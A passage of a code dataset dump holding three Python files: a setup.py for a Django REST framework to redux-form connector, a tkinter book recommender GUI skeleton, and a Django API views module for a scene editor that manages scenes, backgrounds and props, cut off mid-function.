+{"seq_id":"547415544","text":"import os\n\nfrom setuptools import find_packages, setup\n\n\ndef read(fname):\n    return open(os.path.join(os.path.dirname(__file__), fname)).read()\n\n\nsetup(\n    name=\"drfrf\",\n    version=\"0.0.2\",\n    description=\"Django REST framework - redux-form connector\",\n    long_description=read(\"README.md\"),\n    long_description_content_type=\"text/markdown\",\n    author=\"Theodo\",\n    author_email=\"contact@theodo.co.uk\",\n    classifiers=[\n        \"Development Status :: 3 - Alpha\",\n        \"Environment :: Web Environment\",\n        \"Framework :: Django\",\n        \"Intended Audience :: Developers\",\n        \"License :: OSI Approved :: MIT License\",\n        \"Programming Language :: Python :: 3.7\",\n    ],\n    keywords=\"django rest framework django-rest-framework redux form redux-form form validation\",\n    url=\"https://github.com/Theodo-UK/drfrf\",\n    license=\"MIT\",\n    packages=find_packages(),\n    install_requires=[\"djangorestframework\"],\n)\n","sub_path":"lib/py/setup.py","file_name":"setup.py","file_ext":"py","file_size_in_byte":934,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"28"}
+{"seq_id":"276875899","text":"# DD 2476 Search Engines & Information Retrieval\n#\n# TODO: ADD SOME MORE INFO HERE\n#\n#\nimport tkinter as tk\n\n# Holds \n\nclass Book:\n    def __init__(self, bookid, title, author = None):\n        self.id = bookid\n        self.title = title\n        self.author = author\n\n\nclass BookRecommender:\n\n    def __init__(self):\n        # Meant to hold contents inside search box and save box. Currently holds placeholders\n        self.searchlist = [ Book( i, (\"Book \" + str(i) ) ) for i in range(100)]\n        self.savedlist = []\n\n        # Building windows and running \n        self.window = tk.Tk()\n        self.window.geometry(\"750x500\")\n        self.build_window()\n\n        \n    # Builds main window and all necessary components. Need to run this at startup\n    def build_window(self):\n        #frame = tk.Frame(self.window, background=\"blue\")\n        tk.Label(self.window, text=\"DD 2476 - Book Recommender Engine\").pack()\n        leftside = tk.Frame(self.window, bd = 10, background=\"grey\", width=500 )\n        leftside.pack(side = tk.LEFT, fill = tk.Y)\n\n        rightside = tk.Frame(self.window, background=\"grey\", width=250 )\n        rightside.pack(side = tk.RIGHT, fill = tk.Y)\n\n        tk.Entry(leftside, width = 80).pack()\n        but = tk.Button(leftside, command=self.search_clicked, bd=0, relief=\"groove\", compound=tk.CENTER,bg=\"brown\", fg=\"black\", activeforeground=\"white\", activebackground=\"red\", font=\"arial 10\", text=\"Search\")\n        but.pack(pady=3)\n        searchbox = tk.Listbox(leftside, selectmode=tk.SINGLE, width = 80)\n        searchbox.pack(fill = tk.BOTH, pady= 2, expand=True)\n        searchbox.bind('<Double-1>', self.save_item)\n\n        savebox = tk.Listbox(rightside, width=100)\n        savebox.pack(fill = tk.BOTH, pady = 10, expand = True)\n        savebox.bind('<Double-1>', self.remove_item)\n\n        #tk.Button(leftside, text = \"Save Selections\").pack(side=tk.BOTTOM)\n\n        self.searchbox = searchbox\n        self.savebox = savebox\n\n    ### API for filling or removing items from searchbox ##\n    # Proc'd when the \"Search\" button is clicked\n    def search_clicked(self):\n        self.populate_searchbox(self.searchlist)\n\n\n    # Clears search box and fills it with items in list of books\n    def populate_searchbox(self, results):\n        self.clear_searchbox()\n        for i, book in enumerate(results):\n            self.searchbox.insert( tk.END, str(book.id) + \" : \" + book.title )\n\n    # Adds book to search box\n    def append_to_searchbox(self, result):\n        self.searchbox.insert(tk.END, result.title)\n\n    # Clears Search box and searchlist\n    def clear_searchbox(self):\n        self.searchlist = []\n        self.searchbox.delete(0,tk.END)\n\n    # Saves item as book w/ id to savelist and adds it to savebox. Could be more efficient. \n    def save_item(self, event):\n        box = event.widget\n        selection = box.get(box.curselection())\n        split = selection.index(\":\")\n        bk = Book(int(selection[:split - 1]), selection[split + 2:])\n\n        for book in self.savedlist:\n            if book.id == bk.id:\n                return\n\n        self.savedlist.append(bk)\n        self.savebox.insert(tk.END, str(bk.id) + \" : \" + bk.title)\n\n    # Remove from savedlist. Could make this more efficient w/ dicts but probably not necessary rn\n    def remove_item(self, event):\n        box = event.widget\n        selection = box.curselection() \n\n        # Remove from saveList\n        bk = box.get(selection)\n        split = bk.index(\":\")\n        bkid = int(bk[:split - 1])\n\n        for book in self.savedlist:\n            if book.id == bkid:\n                self.savedlist.remove(book)\n                box.delete(selection[0])\n                print(\"removed\")\n                return\n\n    ## Starts program\n    def start_gui(self):\n        self.window.mainloop()\n\n\n\nif __name__ == '__main__':\n    br = BookRecommender()\n    br.start_gui()\n","sub_path":"app.py","file_name":"app.py","file_ext":"py","file_size_in_byte":3873,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"28"}
+{"seq_id":"288923586","text":"from django.shortcuts import render, render_to_response\nfrom django.http import *\nfrom django.views.decorators.csrf import csrf_exempt\nfrom django.forms.models import model_to_dict\nfrom django.conf import settings\nfrom django.core.files.storage import default_storage as storage\nfrom django.core.files.base import ContentFile\nfrom boto.s3.connection import S3Connection, Bucket, Key\nimport json, os, time\n\nfrom django.core.exceptions import ObjectDoesNotExist\n\nfrom API.models import *\n\ndef api(request):\n\tif request.method == \"GET\":\n\t\treturn render(request, 'API/index.html')\n\telse:\n\t\treturn HttpResponseNotAllowed([\"GET\"])\n\n@csrf_exempt\ndef scenes(request):\n\tif request.method == \"GET\":\n\t\t# GET ALL - later\n\t\ttry:\n\t\t\tdomain = request.get_host()\n\t\t\tscenes = Scene.objects.order_by('-version')\n\t\t\tresponse_data = { \"scenes\" : [], \"success\" : True }\n\t\t\tfor scene in scenes:\n\t\t\t\tnext = -1\n\t\t\t\tif scene.next_scene is not None:\n\t\t\t\t\tnext = scene.next_scene.id\n\t\t\t\tscene_rep = {\n\t\t\t\t\t\"id\" : scene.id,\n\t\t\t\t\t\"name\" : scene.name,\n\t\t\t\t\t\"version\" : scene.version.isoformat(' '),\n\t\t\t\t\t\"description\" : scene.description,\n\t\t\t\t\t\"background\" : {\n\t\t\t\t\t\t\"id\" : \"\",\n\t\t\t\t\t\t\"name\" : \"\",\n\t\t\t\t\t\t\"description\" : \"\",\n\t\t\t\t\t\t\"url\" : \"/static/editor/img/blank-background.jpg\"\n\t\t\t\t\t},\n\t\t\t\t\t\"background_scale\" : float(scene.background_scale),\n\t\t\t\t\t\"props\" : [],\n\t\t\t\t\t\"next\" : next\n\t\t\t\t}\n\t\t\t\tif scene.thumbnail is not None:\n\t\t\t\t\ttry:\n\t\t\t\t\t\tscene_rep[\"thumbnail\"] = scene.thumbnail.url\n\t\t\t\t\texcept ValueError:\n\t\t\t\t\t\tscene_rep[\"thumbnail\"] = None\n\t\t\t\tif scene.background is not None:\n\t\t\t\t\tbackground = Background.objects.get(id=scene.background.id)\n\t\t\t\t\tscene_rep[\"background\"] = {\n\t\t\t\t\t\t\"id\" : background.id,\n\t\t\t\t\t\t\"name\" : background.name,\n\t\t\t\t\t\t\"description\" : background.description,\n\t\t\t\t\t\t\"url\" : background.image.url\n\t\t\t\t\t}\n\t\t\t\tfor scene_prop in SceneProp.objects.filter(scene=scene):\n\t\t\t\t\tprop = scene_prop.prop_file\n\t\t\t\t\tif prop is not None and scene_prop is not None:\n\t\t\t\t\t\tprop_rep = {\n\t\t\t\t\t\t\t\"scene_prop_id\" : scene_prop.id,\n\t\t\t\t\t\t\t\"prop_id\" : prop.id,\n\t\t\t\t\t\t\t\"name\" : prop.name,\n\t\t\t\t\t\t\t\"description\" : prop.description,\n\t\t\t\t\t\t\t\"url\" : prop.image.url,\n\t\t\t\t\t\t\t\"position_x\" : scene_prop.position_x,\n\t\t\t\t\t\t\t\"position_y\" : scene_prop.position_y,\n\t\t\t\t\t\t\t\"movable\" : scene_prop.movable,\n\t\t\t\t\t\t\t\"scale\" : float(scene_prop.scale),\n\t\t\t\t\t\t\t\"index\" : scene_prop.index,\n\t\t\t\t\t\t\t\"rotation\" : float(scene_prop.rotation),\n\t\t\t\t\t\t\t\"visible\" : scene_prop.visible,\n\t\t\t\t\t\t\t\"always_visible\" : scene_prop.always_visible\n\t\t\t\t\t\t}\n\t\t\t\t\t\tscene_rep[\"props\"].append(prop_rep)\n\t\t\t\tresponse_data[\"scenes\"].append(scene_rep)\n\t\t\treturn HttpResponse(json.dumps(response_data), content_type=\"application/json\")\n\t\texcept ObjectDoesNotExist:\n\t\t\treturn HttpResponse(status=404)\n\telif request.method == \"POST\":\n\t\t# New Scene (Default Background Settings)\n\t\ttry:\n\t\t\tdata = json.loads(request.body)\n\t\t\tnew_scene = Scene(name=data['name'], description=data['description'], background_scale=1.0)\n\t\t\tnew_scene.save()\n\t\t\tdecoded_image = data[\"thumbnail\"].decode('base64')\n\t\t\tnew_scene.thumbnail = ContentFile(decoded_image, \"thumbnail.png\")\n\t\t\tnew_scene.save()\n\t\t\tresponse_data = {\n\t\t\t\t\"success\" : True,\n\t\t\t\t\"scene\" : {\n\t\t\t\t\t\"id\" : new_scene.id,\n\t\t\t\t\t\"name\" : new_scene.name,\n\t\t\t\t\t\"description\" : new_scene.description,\n\t\t\t\t\t\"version\" : new_scene.version.isoformat(' '),\n\t\t\t\t\t\"background\" : {\n\t\t\t\t\t\t\"id\" : \"\",\n\t\t\t\t\t\t\"name\" : \"\",\n\t\t\t\t\t\t\"description\" : \"\",\n\t\t\t\t\t\t\"url\" : \"/static/editor/img/blank-background.jpg\"\n\t\t\t\t\t},\n\t\t\t\t\t\"background_scale\" : new_scene.background_scale,\n\t\t\t\t\t\"props\" : []\n\t\t\t\t}\n\t\t\t}\n\t\t\treturn HttpResponse(json.dumps(response_data), content_type=\"application/json\")\n\t\texcept Exception:\n\t\t\treturn HttpResponse(status=500)\n\telse:\n\t\treturn HttpResponseNotAllowed(['GET', 'POST'])\n\n@csrf_exempt\ndef scene(request, scene_id):\n\ttry:\n\t\tscene = Scene.objects.get(id=scene_id)\n\t\tif request.method == \"GET\":\n\t\t\tresponse_data = {}\n\t\t\tnext = -1\n\t\t\tif scene.next_scene is not None:\n\t\t\t\tnext = scene.next_scene.id\n\t\t\tscene_rep = {\n\t\t\t\t\"id\" : scene.id,\n\t\t\t\t\"name\" : scene.name,\n\t\t\t\t\"version\" : scene.version.isoformat(' '),\n\t\t\t\t\"description\" : scene.description,\n\t\t\t\t\"background\" : {\n\t\t\t\t\t\"id\" : \"\",\n\t\t\t\t\t\"name\" : \"\",\n\t\t\t\t\t\"description\" : \"\",\n\t\t\t\t\t\"url\" : \"/static/editor/img/blank-background\"\n\t\t\t\t},\n\t\t\t\t\"background_scale\" : float(scene.background_scale),\n\t\t\t\t\"props\" : [],\n\t\t\t\t\"next\" : next\n\t\t\t}\n\t\t\tif scene.thumbnail is not None:\n\t\t\t\ttry:\n\t\t\t\t\tscene_rep[\"thumbnail\"] = scene.thumbnail.url\n\t\t\t\texcept ValueError:\n\t\t\t\t\tscene_rep[\"thumbnail\"] = None\n\t\t\tif scene.background is not None:\n\t\t\t\tbackground = Background.objects.get(id=scene.background.id)\n\t\t\t\tscene_rep[\"background\"] = {\n\t\t\t\t\t\"id\" : background.id,\n\t\t\t\t\t\"name\" : background.name,\n\t\t\t\t\t\"description\" : background.description,\n\t\t\t\t\t\"url\" : background.image.url\n\t\t\t\t}\n\t\t\tfor scene_prop in SceneProp.objects.filter(scene=scene):\n\t\t\t\tprop = scene_prop.prop_file\n\t\t\t\tif prop is not None and scene_prop is not None:\n\t\t\t\t\tprop_rep = {\n\t\t\t\t\t\t\"scene_prop_id\" : scene_prop.id,\n\t\t\t\t\t\t\"prop_id\" : prop.id,\n\t\t\t\t\t\t\"name\" : prop.name,\n\t\t\t\t\t\t\"description\" : prop.description,\n\t\t\t\t\t\t\"url\" : prop.image.url,\n\t\t\t\t\t\t\"position_x\" : scene_prop.position_x,\n\t\t\t\t\t\t\"position_y\" : scene_prop.position_y,\n\t\t\t\t\t\t\"movable\" : scene_prop.movable,\n\t\t\t\t\t\t\"scale\" : float(scene_prop.scale),\n\t\t\t\t\t\t\"index\" : scene_prop.index,\n\t\t\t\t\t\t\"rotation\" : float(scene_prop.rotation),\n\t\t\t\t\t\t\"visible\" : scene_prop.visible,\n\t\t\t\t\t\t\"always_visible\" : scene_prop.always_visible\n\t\t\t\t\t}\n\t\t\t\t\tscene_rep[\"props\"].append(prop_rep)\n\t\t\tresponse_data[\"scene\"] = scene_rep\n\t\t\treturn HttpResponse(json.dumps(response_data), content_type=\"application/json\")\n\t\telif request.method == \"PUT\":\n\t\t\t# Update Scene\n\t\t\tscene = Scene.objects.get(id=scene_id)\n\t\t\tdata = json.loads(request.body)\n\t\t\tif not data.has_key(\"update\"):\n\t\t\t\treturn HttpResponse(status=400)\n\t\t\tif not data[\"update\"].has_key(\"type\"):\n\t\t\t\treturn HttpResponse(status=400)\n\t\t\tupdate = data[\"update\"]\n\t\t\tif update[\"type\"] == \"META\":\n\t\t\t\t# Name, Description, Version, Next\n\t\t\t\tif update.has_key(\"name\"):\n\t\t\t\t\tscene.name = update[\"name\"]\n\t\t\t\tif update.has_key(\"description\"):\n\t\t\t\t\tscene.description = update[\"description\"]\n\t\t\t\tif update.has_key(\"next\"):\n\t\t\t\t\tif update[\"next\"] == -1:\n\t\t\t\t\t\tscene.next_scene = None\n\t\t\t\t\telse:\n\t\t\t\t\t\tnext_scene = Scene.objects.get(id=update[\"next\"])\n\t\t\t\t\t\tscene.next_scene = next_scene\n\t\t\telif update[\"type\"] == \"SCENE\":\n\t\t\t\t## TODO?\n\t\t\t\tif update.has_key(\"thumbnail\"):\n\t\t\t\t\tdecoded_image = update[\"thumbnail\"].decode('base64')\n\t\t\t\t\tscene.thumbnail = ContentFile(decoded_image, \"thumbnail.png\")\n\t\t\telif update[\"type\"] == \"BACKGROUND\":\n\t\t\t\t# Background Scale\n\t\t\t\tif update.has_key(\"background_scale\") and update[\"background_scale\"] >= 0:\n\t\t\t\t\tscene.background_scale = update[\"background_scale\"]\n\t\t\telif update[\"type\"] == \"PROP\":\n\t\t\t\t# SceneProp attributes\n\t\t\t\ttry:\n\t\t\t\t\tif update.has_key(\"scene_prop\"):\n\t\t\t\t\t\tscene_prop = SceneProp.objects.get(id=update[\"scene_prop\"])\n\t\t\t\t\telse:\n\t\t\t\t\t\treturn HttpResponse(status=400)\n\t\t\t\texcept ObjectDoesNotExist:\n\t\t\t\t\treturn HttpResponse(status=404)\n\t\t\t\tif update.has_key(\"scale\") and update[\"scale\"] >= 0:\n\t\t\t\t\tscene_prop.scale = update[\"scale\"]\n\t\t\t\tif update.has_key(\"position_x\"):\n\t\t\t\t\tscene_prop.position_x = update[\"position_x\"]\n\t\t\t\tif update.has_key(\"position_y\"):\n\t\t\t\t\tscene_prop.position_y = update[\"position_y\"]\n\t\t\t\tif update.has_key(\"movable\"):\n\t\t\t\t\tscene_prop.movable = update[\"movable\"]\n\t\t\t\tif update.has_key(\"index\") and update[\"index\"] >= 500 and update[\"index\"] <= 4000:\n\t\t\t\t\tscene_prop.index = update[\"index\"]\n\t\t\t\tif update.has_key(\"rotation\"):\n\t\t\t\t\tscene_prop.rotation = update[\"rotation\"]\n\t\t\t\tif update.has_key(\"visible\"):\n\t\t\t\t\tscene_prop.visible = update[\"visible\"]\n\t\t\t\tif update.has_key(\"always_visible\"):\n\t\t\t\t\tscene_prop.always_visible = update[\"always_visible\"]\n\t\t\t\tscene_prop.save()\n\t\t\telse:\n\t\t\t\treturn HttpResponse(status=400)\n\t\t\tscene.save()\n\t\t\tresponse_data = { \"success\" : True }\n\t\t\treturn HttpResponse(json.dumps(response_data), content_type=\"application/json\")\n\t\telif request.method == \"DELETE\":\n\t\t\tscene = Scene.objects.get(id=scene_id)\n\t\t\t# delete all scene_props from the scene\n\t\t\tscene_props = SceneProp.objects.filter(scene=scene)\n\t\t\tfor scene_prop in scene_props:\n\t\t\t\tscene = scene_prop.scene\n\t\t\t\tscene_prop.delete()\n\t\t\t\tscene.save()\n\t\t\t# delete scene\n\t\t\tscene.delete()\n\t\t\tresponse_data = { \"success\" : True }\n\t\t\treturn HttpResponse(json.dumps(response_data), content_type=\"application/json\")\n\t\telse:\n\t\t\treturn HttpResponseNotAllowed(['GET', 'PUT', 'DELETE'])\n\texcept ObjectDoesNotExist:\n\t\treturn HttpResponse(status=404)\n\treturn HttpResponse(status=200)\n\n@csrf_exempt\ndef scene_resources(request, scene_id):\n\tif request.method == \"GET\":\n\t\ttry:\n\t\t\tdomain = request.get_host()\n\t\t\tscene = Scene.objects.get(id=scene_id)\n\t\t\tresponse_data = {}\n\t\t\tnext = -1\n\t\t\tif scene.next_scene is not None:\n\t\t\t\tnext = scene.next_scene.id\n\t\t\tresponse_data[\"scene\"] = {\n\t\t\t\t\"name\" : scene.name,\n\t\t\t\t\"version\" : scene.version.isoformat(' '),\n\t\t\t\t\"next\" : next,\n\t\t\t\t\"props\" : []\n\t\t\t}\n\t\t\tif scene.thumbnail is not None:\n\t\t\t\tresponse_data[\"scene\"][\"thumbnail\"] = scene.thumbnail.url\n\t\t\tif scene.background is not None:\n\t\t\t\tbackground = Background.objects.get(id=scene.background.id)\n\t\t\t\tresponse_data[\"scene\"][\"background\"] = {\n\t\t\t\t\t\"id\" : background.id,\n\t\t\t\t\t\"name\" : background.name,\n\t\t\t\t\t\"description\" : background.description,\n\t\t\t\t\t\"url\" : background.image.url\n\t\t\t\t}\n\t\t\tscene_props = SceneProp.objects.filter(scene=scene)\n\t\t\tfor scene_prop in scene_props:\n\t\t\t\tprop = scene_prop.prop_file\n\t\t\t\tif prop is not None:\n\t\t\t\t\tobj = {\n\t\t\t\t\t\t\"id\" : prop.id,\n\t\t\t\t\t\t\"name\" : prop.name,\n\t\t\t\t\t\t\"description\" : prop.description,\n\t\t\t\t\t\t\"url\" : prop.image.url\n\t\t\t\t\t}\n\t\t\t\t\tresponse_data[\"scene\"][\"props\"].append(obj)\n\t\t\treturn HttpResponse(json.dumps(response_data), content_type=\"application/json\")\n\t\texcept ObjectDoesNotExist:\n\t\t\treturn HttpResponse(status=404)\n\telse:\n\t\treturn HttpResponseNotAllowed('GET')\n\treturn HttpResponse(scene_id)\n\n@csrf_exempt\ndef scene_placement(request, scene_id):\n\tif request.method == \"GET\":\n\t\ttry:\n\t\t\tdomain = request.get_host()\n\t\t\tscene = Scene.objects.get(id=scene_id)\n\t\t\tresponse_data = {}\n\t\t\tnext = -1\n\t\t\tif scene.next_scene is not None:\n\t\t\t\tnext = scene.next_scene.id\n\t\t\tresponse_data[\"scene\"] = {\n\t\t\t\t\"name\" : scene.name,\n\t\t\t\t\"version\" : scene.version.isoformat(' '),\n\t\t\t\t\"next\" : next,\n\t\t\t\t\"background\" : {\n\t\t\t\t\t\"id\" : \"\",\n\t\t\t\t\t\"name\" : \"\",\n\t\t\t\t\t\"position-x\" : 0,\n\t\t\t\t\t\"position-y\" : 0,\n\t\t\t\t\t\"scale\" : 1.0\n\t\t\t\t},\n\t\t\t\t\"props\" : []\n\t\t\t}\n\t\t\tif scene.background is not None:\n\t\t\t\tbackground = Background.objects.get(id=scene.background.id)\n\t\t\t\tresponse_data[\"scene\"][\"background\"] = {\n\t\t\t\t\t\"id\" : background.id,\n\t\t\t\t\t\"name\" : background.name,\n\t\t\t\t\t\"position-x\" : 0,\n\t\t\t\t\t\"position-y\" : 0,\n\t\t\t\t\t\"scale\" : float(scene.background_scale)\n\t\t\t\t}\n\t\t\tscene_props = SceneProp.objects.filter(scene=scene)\n\t\t\tfor scene_prop in scene_props:\n\t\t\t\tprop = scene_prop.prop_file\n\t\t\t\tif prop is not None:\n\t\t\t\t\tobj = {\n\t\t\t\t\t\t\"id\" : prop.id,\n\t\t\t\t\t\t\"name\" : prop.name,\n\t\t\t\t\t\t\"position-x\" : scene_prop.position_x,\n\t\t\t\t\t\t\"position-y\" : scene_prop.position_y,\n\t\t\t\t\t\t\"movable\" : scene_prop.movable,\n\t\t\t\t\t\t\"scale\" : float(scene_prop.scale),\n\t\t\t\t\t\t\"index\" : scene_prop.index,\n\t\t\t\t\t\t\"rotation\" : float(scene_prop.rotation),\n\t\t\t\t\t\t\"visible\" : scene_prop.visible,\n\t\t\t\t\t\t\"always_visible\" : scene_prop.always_visible\n\t\t\t\t\t}\n\t\t\t\t\tresponse_data[\"scene\"][\"props\"].append(obj)\n\t\t\treturn HttpResponse(json.dumps(response_data), content_type=\"application/json\")\n\t\texcept ObjectDoesNotExist:\n\t\t\treturn HttpResponse(status=404)\n\telse:\n\t\treturn HttpResponseNotAllowed('GET')\n\treturn HttpResponse(scene_id)\n\n@csrf_exempt\ndef add_scene_background(request, scene_id):\n\tif request.method == \"POST\":\n\t\tdata = json.loads(request.body)\n\t\ttry:\n\t\t\tscene = Scene.objects.get(id=scene_id)\n\t\t\ttry:\n\t\t\t\tbackground_id = data[\"background\"]\n\t\t\t\tbackground = Background.objects.get(id=background_id)\n\t\t\t\tscene.background = background\n\t\t\t\tscene.save()\n\t\t\t\tresponse_data = { \n\t\t\t\t\t\"success\" : True,\n\t\t\t\t\t\"background\" : { \n\t\t\t\t\t\t\"id\" : background_id, \n\t\t\t\t\t\t\"name\" :  background.name,\n\t\t\t\t\t\t\"description\" : background.description,\n\t\t\t\t\t\t\"url\" : background.image.url\n\t\t\t\t\t} \n\t\t\t\t}\n\t\t\t\treturn HttpResponse(json.dumps(response_data), content_type=\"application/json\")\n\t\t\texcept ObjectDoesNotExist:\n\t\t\t\treturn HttpResponse(status=404)\n\t\texcept ObjectDoesNotExist:\n\t\t\treturn HttpResponse(status=404)\n\telse:\n\t\treturn HttpResponseNotAllowed('POST')\n\n@csrf_exempt\ndef add_scene_prop(request, scene_id):\n\tif request.method == \"POST\":\n\t\tdata = json.loads(request.body)\n\t\ttry:\n\t\t\tscene = Scene.objects.get(id=scene_id)\n\t\t\ttry:\n\t\t\t\tprop_id = data[\"prop\"]\n\t\t\t\tprop = Prop.objects.get(id=prop_id)\n\t\t\t\tnew_sceneprop = SceneProp(scene=scene, prop_file=prop)\n\t\t\t\tnew_sceneprop.save()\n\t\t\t\tscene.save()\n\t\t\t\tresponse_data = {\n\t\t\t\t\t\"success\" : True,\n\t\t\t\t\t\"prop\" : {\n\t\t\t\t\t\t\"scene_prop_id\" : new_sceneprop.id,\n\t\t\t\t\t\t\"name\" : prop.name,\n\t\t\t\t\t\t\"description\" : prop.description,\n\t\t\t\t\t\t\"url\" : prop.image.url,\n\t\t\t\t\t\t\"scale\" : new_sceneprop.scale,\n\t\t\t\t\t\t\"position_x\" : new_sceneprop.position_x,\n\t\t\t\t\t\t\"position_y\" : new_sceneprop.position_y,\n\t\t\t\t\t\t\"index\" : new_sceneprop.index,\n\t\t\t\t\t\t\"rotation\" : new_sceneprop.rotation\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t\treturn HttpResponse(json.dumps(response_data), content_type=\"application/json\")\n\t\t\texcept ObjectDoesNotExist:\n\t\t\t\treturn HttpResponse(status=404)\n\t\texcept ObjectDoesNotExist:\n\t\t\treturn HttpResponse(status=404)\n\telse:\n\t\treturn HttpResponseNotAllowed('POST')\n\n@csrf_exempt\ndef scene_prop(request, scene_prop_id):\n\tif request.method == \"DELETE\":\n\t\ttry:\n\t\t\tscene_prop = SceneProp.objects.get(id=scene_prop_id)\n\t\t\tscene = scene_prop.scene\n\t\t\tscene_prop.delete()\n\t\t\tscene.save()\n\t\t\tresponse_data = { \"success\" : True }\n\t\t\treturn HttpResponse(json.dumps(response_data), content_type=\"application/json\")\n\n\t\texcept ObjectDoesNotExist:\n\t\t\treturn HttpResponse(status=404)\n\telse:\n\t\treturn HttpResponseNotAllowed('DELETE')\n\n@csrf_exempt\ndef backgrounds(request):\n\tdomain = request.get_host()\n\tif request.method == \"GET\":\n\t\t# GET MANY\n\t\tresponse_data = { \"backgrounds\" : [] }\n\t\tbackgrounds = Background.objects.all()\n\t\tfor background in backgrounds:\n\t\t\tobj = {\n\t\t\t\t\"id\" : background.id,\n\t\t\t\t\"name\" : background.name,\n\t\t\t\t\"description\" : background.description,\n\t\t\t\t\"url\" : background.image.url\n\t\t\t}\n\t\t\tresponse_data[\"backgrounds\"].append(obj)\n\t\treturn HttpResponse(json.dumps(response_data), content_type=\"application/json\")\n\telif request.method == \"POST\":\n\t\t# NEW Background\n\t\tbackground_model = Background(name=request.POST.get(\"name\"), description=request.POST.get(\"description\"))\n\t\tbackground_model.save()\n\t\tbackground_model.image = request.FILES[\"background\"]\n\t\tbackground_model.save()\n\t\tbackground_rep = { \n\t\t\t\"id\" : background_model.id, \n\t\t\t\"name\" :  background_model.name, \n\t\t\t\"description\" : background_model.description, \n\t\t\t\"url\" : background_model.image.url \n\t\t}\n\t\tresponse_data = {\n\t\t\t\"background\" : background_rep,\n\t\t\t\"success\" : True\n\t\t}\n\t\treturn HttpResponse(json.dumps(response_data), content_type=\"application/json\")\n\telse:\n\t\treturn HttpResponseNotAllowed(['GET', 'POST'])\n\n@csrf_exempt\ndef background(request, background_id):\n\tdomain = request.get_host()\n\tif request.method == \"GET\":\n\t\t# GET - READ\n\t\ttry:\n\t\t\tbackground = Background.objects.get(id=background_id)\n\t\t\tresponse_data = {\n\t\t\t\t\"success\" : True,\n\t\t\t\t\"background\" : {\n\t\t\t\t\t\"id\" : background.id,\n\t\t\t\t\t\"name\" : background.name,\n\t\t\t\t\t\"description\" : background.description,\n\t\t\t\t\t\"url\" : background.image.url\n\t\t\t\t}\n\t\t\t}\n\t\t\treturn HttpResponse(json.dumps(response_data), content_type=\"application/json\")\n\t\texcept ObjectDoesNotExist:\n\t\t\treturn HttpResponse(status=404)\n\telif request.method == \"PUT\":\n\t\t# PUT - UPDATE - later\n\t\tpass\n\telif request.method == \"DELETE\":\n\t\tbackground = Background.objects.get(id=background_id)\n\t\t# Unset From all scenes\n\t\tbackground.scenes.clear()\n\t\t# Delete File\n\t\tif background.image:\n\t\t\tif not settings.USE_AWS and background.image.path:\n\t\t\t\t# Delete from MEDIA_ROOT\n\t\t\t\tos.remove(background.image.path)\n\t\t\telif settings.USE_AWS and background.image.name:\n\t\t\t\t# Delete from AWS S3\n\t\t\t\tconnection = S3Connection(settings.AWS_ACCESS_KEY_ID, settings.AWS_SECRET_ACCESS_KEY)\n\t\t\t\tbucket = Bucket(connection, settings.AWS_STORAGE_BUCKET_NAME)\n\t\t\t\tfileKey = Key(bucket)\n\t\t\t\tfileKey.key = background.image.name\n\t\t\t\tbucket.delete_key(fileKey)\n\t\t# Delete from database\n\t\tbackground.delete()\n\t\tresponse_data = { \"success\" : True }\n\t\treturn HttpResponse(json.dumps(response_data), content_type=\"application/json\")\n\telse:\n\t\treturn HttpResponseNotAllowed(['GET', 'PUT', 'DELETE'])\n\treturn HttpResponse(\"API call for background #\" + background_id)\n\n@csrf_exempt\ndef props(request):\n\tdomain = request.get_host()\n\tif request.method == \"GET\":\n\t\t# GET ALL (NON-FORBIDDEN)\n\t\tresponse_data = { \"props\" : [] }\n\t\tprops = Prop.objects.all()\n\t\tfor prop in props:\n\t\t\tobj = {\n\t\t\t\t\"id\" : prop.id,\n\t\t\t\t\"name\" : prop.name,\n\t\t\t\t\"description\" : prop.description,\n\t\t\t\t\"url\" : prop.image.url\n\t\t\t}\n\t\t\tresponse_data[\"props\"].append(obj)\n\t\treturn HttpResponse(json.dumps(response_data), content_type=\"application/json\")\n\telif request.method == \"POST\":\n\t\t# NEW Prop\n\t\tprop_model = Prop(name=request.POST.get(\"name\"), description=request.POST.get(\"description\"))\n\t\tprop_model.save()\n\t\tprop_model.image = request.FILES[\"prop\"]\n\t\tprop_model.save()\n\t\tprop_rep = {\n\t\t\t\"id\" : prop_model.id, \n\t\t\t\"name\" :  prop_model.name, \n\t\t\t\"description\" : prop_model.description,\n\t\t\t\"url\" : prop_model.image.url \n\t\t}\n\t\tresponse_data = {\n\t\t\t\"prop\" : prop_rep,\n\t\t\t\"success\" : True\n\t\t}\n\t\treturn HttpResponse(json.dumps(response_data), content_type=\"application/json\")\n\telse:\n\t\treturn HttpResponseNotAllowed(['GET', 'POST'])\n\n@csrf_exempt\ndef prop(request, prop_id):\n\tif request.method == \"GET\":\n\t\tdomain = request.get_host()\n\t\t# GET - READ\n\t\ttry:\n\t\t\tprop = Prop.objects.get(id=prop_id)\n\t\t\tresponse_data = {\n\t\t\t\t\"success\" : True,\n\t\t\t\t\"prop\" : {\n\t\t\t\t\t\"id\" : prop.id,\n\t\t\t\t\t\"name\" : prop.name,\n\t\t\t\t\t\"description\" : prop.description,\n\t\t\t\t\t\"url\" : prop.image.url\n\t\t\t\t}\n\t\t\t}\n\t\t\treturn HttpResponse(json.dumps(response_data), content_type=\"application/json\")\n\t\texcept ObjectDoesNotExist:\n\t\t\treturn HttpResponse(status=404)\n\telif request.method == \"PUT\":\n\t\t# PUT - UPDATE - later\n\t\tpass\n\telif request.method == \"DELETE\":\n\t\tprop = Prop.objects.get(id=prop_id)\n\t\t# Unset From all scenes and delete scene_prop\n\t\tscene_props = SceneProp.objects.filter(prop_file=prop)\n\t\tfor scene_prop in scene_props:\n\t\t\tscene = scene_prop.scene\n\t\t\tscene_prop.delete()\n\t\t\tscene.save()\n\t\t# Delete File\n\t\tif prop.image:\n\t\t\tif not settings.USE_AWS and prop.image.path:\n\t\t\t\t# Delete from MEDIA_ROOT\n\t\t\t\tos.remove(prop.image.path)\n\t\t\telif settings.USE_AWS and prop.image.name:\n\t\t\t\t# Delete from AWS S3\n\t\t\t\tconnection = S3Connection(settings.AWS_ACCESS_KEY_ID, settings.AWS_SECRET_ACCESS_KEY)\n\t\t\t\tbucket = Bucket(connection, settings.AWS_STORAGE_BUCKET_NAME)\n\t\t\t\tfileKey = Key(bucket)\n\t\t\t\tfileKey.key = prop.image.name\n\t\t\t\tbucket.delete_key(fileKey)\n\t\t# Delete From Database\n\t\tprop.delete()\n\t\tresponse_data = { \"success\" : True 